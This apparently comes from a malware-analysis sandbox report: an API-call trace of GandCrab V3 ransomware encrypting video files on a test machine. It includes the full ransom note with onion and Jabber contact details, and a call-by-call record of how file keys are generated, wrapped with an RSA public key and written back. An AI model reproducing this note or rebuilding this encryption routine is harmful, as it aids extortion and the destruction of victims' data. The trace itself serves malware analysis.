	[0134.686] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0134.686] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0134.687] CloseHandle (hObject=0x3e8) returned 1
	[0134.687] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.687] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\") returned 44
	[0134.687] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\*"
	[0134.687] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x3249cf0
	[0134.688] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0134.688] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.688] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0134.688] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0134.688] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.688] lstrcmpW (lpString1="19p-ZG97LDn.avi", lpString2=".") returned 1
	[0134.688] lstrcmpW (lpString1="19p-ZG97LDn.avi", lpString2="..") returned 1
	[0134.688] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="19p-ZG97LDn.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi"
	[0134.688] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.688] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi") returned 59
	[0134.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi") returned 59
	[0134.691] lstrlenW (lpString=".avi") returned 4
	[0134.691] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.691] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0134.691] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi") returned 59
	[0134.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi") returned 59
	[0134.691] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="desktop.ini") returned -1
	[0134.691] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="autorun.inf") returned -1
	[0134.691] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="ntuser.dat") returned -1
	[0134.691] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="iconcache.db") returned -1
	[0134.691] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="bootsect.bak") returned -1
	[0134.691] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="boot.ini") returned -1
	[0134.692] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="ntuser.dat.log") returned -1
	[0134.692] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="thumbs.db") returned -1
	[0134.692] lstrcmpiW (lpString1="19p-ZG97LDn.avi", lpString2="CRAB-DECRYPT.txt") returned -1
	[0134.692] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.692] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB") returned 64
	[0134.692] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\19p-zg97ldn.avi")) returned 0x20
	[0134.692] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi", dwFileAttributes=0x20) returned 1
	[0134.692] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\19p-zg97ldn.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\19p-zg97ldn.avi.crab")) returned 1
	[0134.693] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.694] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB"
	[0134.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB.CRAB"
	[0134.694] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0134.695] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.695] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.695] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.695] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0134.695] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0134.695] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.696] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0134.697] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.697] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.697] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.697] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0134.698] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.698] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.698] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.698] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.698] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0134.699] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249670) returned 1
	[0134.699] CryptGetKeyParam (in: hKey=0x3249670, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.699] CryptEncrypt (in: hKey=0x3249670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0134.700] GetLastError () returned 0x0
	[0134.700] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.700] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.701] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32498f0) returned 1
	[0134.701] CryptGetKeyParam (in: hKey=0x32498f0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.701] CryptEncrypt (in: hKey=0x32498f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0134.701] GetLastError () returned 0x0
	[0134.701] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.701] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\19p-ZG97LDn.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\19p-zg97ldn.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0134.702] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.702] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.702] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x4847, lpOverlapped=0x0) returned 1
	[0134.714] VirtualAlloc (lpAddress=0x0, dwSize=0x4850, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.715] VirtualAlloc (lpAddress=0x0, dwSize=0x4850, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.715] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.715] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffb7b9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.716] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x4850, lpOverlapped=0x0) returned 1
	[0134.716] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.716] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.720] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.720] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.720] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0134.720] CloseHandle (hObject=0x3ec) returned 1
	[0134.720] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.720] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.720] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.721] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.721] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.721] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.721] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.721] lstrcmpW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2=".") returned 1
	[0134.721] lstrcmpW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="..") returned 1
	[0134.721] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="CHD1U4-5A3fcKnxLU.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv"
	[0134.721] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.721] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv") returned 65
	[0134.722] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv") returned 65
	[0134.722] lstrlenW (lpString=".mkv") returned 4
	[0134.722] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.722] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0134.722] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.722] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv") returned 65
	[0134.722] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv") returned 65
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="desktop.ini") returned -1
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="autorun.inf") returned 1
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="ntuser.dat") returned -1
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="iconcache.db") returned -1
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="bootsect.bak") returned 1
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="boot.ini") returned 1
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="ntuser.dat.log") returned -1
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="thumbs.db") returned -1
	[0134.722] lstrcmpiW (lpString1="CHD1U4-5A3fcKnxLU.mkv", lpString2="CRAB-DECRYPT.txt") returned -1
	[0134.722] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.722] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB") returned 70
	[0134.723] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\chd1u4-5a3fcknxlu.mkv")) returned 0x20
	[0134.723] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv", dwFileAttributes=0x20) returned 1
	[0134.723] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\chd1u4-5a3fcknxlu.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\chd1u4-5a3fcknxlu.mkv.crab")) returned 1
	[0134.724] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.724] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB"
	[0134.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB.CRAB"
	[0134.724] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0134.725] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.726] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.726] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0134.726] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.726] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.726] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0134.727] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.728] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.728] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.728] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0134.728] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0134.728] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.728] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.734] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.734] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.735] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249830) returned 1
	[0134.735] CryptGetKeyParam (in: hKey=0x3249830, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.736] CryptEncrypt (in: hKey=0x3249830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0134.736] GetLastError () returned 0x0
	[0134.736] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.736] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.737] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32496b0) returned 1
	[0134.737] CryptGetKeyParam (in: hKey=0x32496b0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.737] CryptEncrypt (in: hKey=0x32496b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0134.737] GetLastError () returned 0x0
	[0134.737] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.737] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CHD1U4-5A3fcKnxLU.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\chd1u4-5a3fcknxlu.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0134.738] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.738] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.738] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x3a3a, lpOverlapped=0x0) returned 1
	[0134.754] VirtualAlloc (lpAddress=0x0, dwSize=0x3a40, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.754] VirtualAlloc (lpAddress=0x0, dwSize=0x3a40, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.755] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.755] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffc5c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.755] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x3a40, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x3a40, lpOverlapped=0x0) returned 1
	[0134.755] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.756] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.759] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.759] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.759] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0134.759] CloseHandle (hObject=0x3ec) returned 1
	[0134.760] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.760] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.760] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.760] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.761] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.761] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
